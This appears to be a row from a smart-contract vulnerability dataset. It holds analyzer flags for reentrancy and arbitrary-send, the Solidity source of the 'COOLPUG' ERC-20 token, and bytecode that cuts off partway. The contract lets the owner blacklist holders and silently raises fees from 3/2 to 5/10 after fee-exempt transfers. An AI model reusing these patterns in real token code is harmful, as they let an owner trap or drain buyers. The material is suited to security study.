f7681600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061200b82600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120ab9190612583565b60405180910390a3505050505050565b60008083036120cd576000905061212f565b600082846120db91906130c4565b90508284826120ea9190612f7b565b1461212a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212190613190565b60405180910390fd5b809150505b92915050565b600061217783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aa2565b905092915050565b600080828461218e9190612e56565b9050838110156121d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ca906131fc565b60405180910390fd5b8091505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61223f826121f6565b810181811067ffffffffffffffff8211171561225e5761225d612207565b5b80604052505050565b60006122716121dd565b905061227d8282612236565b919050565b600067ffffffffffffffff82111561229d5761229c612207565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122de826122b3565b9050919050565b6122ee816122d3565b81146122f957600080fd5b50565b60008135905061230b816122e5565b92915050565b600061232461231f84612282565b612267565b90508083825260208201905060208402830185811115612347576123466122ae565b5b835b81811015612370578061235c88826122fc565b845260208401935050602081019050612349565b5050509392505050565b600082601f83011261238f5761238e6121f1565b5b813561239f848260208601612311565b91505092915050565b6000602082840312156123be576123bd6121e7565b5b600082013567ffffffffffffffff8111156123dc576123db6121ec565b5b6123e88482850161237a565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561242b578082015181840152602081019050612410565b8381111561243a576000848401525b50505050565b600061244b826123f1565b61245581856123fc565b935061246581856020860161240d565b61246e816121f6565b840191505092915050565b600060208201905081810360008301526124938184612440565b905092915050565b6000819050919050565b6124ae8161249b565b81146124b957600080fd5b50565b6000813590506124cb816124a5565b92915050565b600080604083850312156124e8576124e76121e7565b5b60006124f6858286016122fc565b9250506020612507858286016124bc565b9150509250929050565b60008115159050919050565b61252681612511565b82525050565b6000602082019050612541600083018461251d565b92915050565b60006020828403121561255d5761255c6121e7565b5b600061256b848285016122fc565b91505092915050565b61257d8161249b565b82525050565b60006020820190506125986000830184612574565b92915050565b6000806000606084860312156125b7576125b66121e7565b5b60006125c5868287016122fc565b93505060206125d6868287016122fc565b92505060406125e7868287016124bc565b9150509250925092565b600060ff82169050919050565b612607816125f1565b82525050565b600060208201905061262260008301846125fe565b92915050565b60006020828403121561263e5761263d6121e7565b5b600061264c848285016124bc565b91505092915050565b61265e816122d3565b82525050565b60006020820190506126796000830184612655565b92915050565b60008060408385031215612696576126956121e7565b5b60006126a4858286016122fc565b92505060206126b5858286016122fc565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006126f56020836123fc565b9150612700826126bf565b602082019050919050565b60006020820190508181036000830152612724816126e8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006127948261249b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036127c6576127c561275a565b5b600182019050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006128076017836123fc565b9150612812826127d1565b602082019050919050565b60006020820190508181036000830152612836816127fa565b9050919050565b60008151905061284c816122e5565b92915050565b600060208284031215612868576128676121e7565b5b60006128768482850161283d565b91505092915050565b60006040820190506128946000830185612655565b6128a16020830184612655565b9392505050565b60006040820190506128bd6000830185612655565b6128ca6020830184612574565b9392505050565b6128da81612511565b81146128e557600080fd5b50565b6000815190506128f7816128d1565b92915050565b600060208284031215612913576129126121e7565b5b6000612921848285016128e8565b91505092915050565b6000819050919050565b6000819050919050565b600061295961295461294f8461292a565b612934565b61249b565b9050919050565b6129698161293e565b82525050565b600060c0820190506129846000830189612655565b6129916020830188612574565b61299e6040830187612960565b6129ab6060830186612960565b6129b86080830185612655565b6129c560a0830184612574565b979650505050505050565b6000815190506129df816124a5565b92915050565b6000806000606084860312156129fe576129fd6121e7565b5b6000612a0c868287016129d0565b9350506020612a1d868287016129d0565b9250506040612a2e868287016129d0565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612a946024836123fc565b9150612a9f82612a38565b604082019050919050565b60006020820190508181036000830152612ac381612a87565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b266022836123fc565b9150612b3182612aca565b604082019050919050565b60006020820190508181036000830152612b5581612b19565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612bb86025836123fc565b9150612bc382612b5c565b604082019050919050565b60006020820190508181036000830152612be781612bab565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c4a6023836123fc565b9150612c5582612bee565b604082019050919050565b60006020820190508181036000830152612c7981612c3d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612cdc6029836123fc565b9150612ce782612c80565b604082019050919050565b60006020820190508181036000830152612d0b81612ccf565b9050919050565b7f54686973206163636f756e7420697320626c61636b6c69737465640000000000600082015250565b6000612d48601b836123fc565b9150612d5382612d12565b602082019050919050565b60006020820190508181036000830152612d7781612d3b565b9050919050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b6000612db4601a836123fc565b9150612dbf82612d7e565b602082019050919050565b60006020820190508181036000830152612de381612da7565b9050919050565b7f54726164696e67206e6f74207374617274656400000000000000000000000000600082015250565b6000612e206013836123fc565b9150612e2b82612dea565b602082019050919050565b60006020820190508181036000830152612e4f81612e13565b9050919050565b6000612e618261249b565b9150612e6c8361249b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ea157612ea061275a565b5b828201905092915050565b7f42616c616e63652065786365656465642077616c6c65742073697a6500000000600082015250565b6000612ee2601c836123fc565b9150612eed82612eac565b602082019050919050565b60006020820190508181036000830152612f1181612ed5565b9050919050565b6000612f238261249b565b9150612f2e8361249b565b925082821015612f4157612f4061275a565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f868261249b565b9150612f918361249b565b925082612fa157612fa0612f4c565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612fe1816122d3565b82525050565b6000612ff38383612fd8565b60208301905092915050565b6000602082019050919050565b600061301782612fac565b6130218185612fb7565b935061302c83612fc8565b8060005b8381101561305d5781516130448882612fe7565b975061304f83612fff565b925050600181019050613030565b5085935050505092915050565b600060a08201905061307f6000830188612574565b61308c6020830187612960565b818103604083015261309e818661300c565b90506130ad6060830185612655565b6130ba6080830184612574565b9695505050505050565b60006130cf8261249b565b91506130da8361249b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131135761311261275a565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061317a6021836123fc565b91506131858261311e565b604082019050919050565b600060208201905081810360008301526131a98161316d565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006131e6601b836123fc565b91506131f1826131b0565b602082019050919050565b60006020820190508181036000830152613215816131d9565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f089e6d112f3b305b3d35915e2a630c9af4355335108c0acea68a5af7cd5a5f364736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,561 |
0xe52996ffdf1fe1dec49c02cdbbafd24020218f1c
|
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/*
No Team & Marketing wallet. 100% of the tokens will be on the market for trade.
https://t.me/coolpug
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract COOLPUG is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "COOLPUG | t.me/coolpug";
string private constant _symbol = "CPUG";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 3;
uint256 private _teamFee = 2;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280601681526020017f434f4f4c505547207c20742e6d652f636f6f6c70756700000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4350554700000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273fffff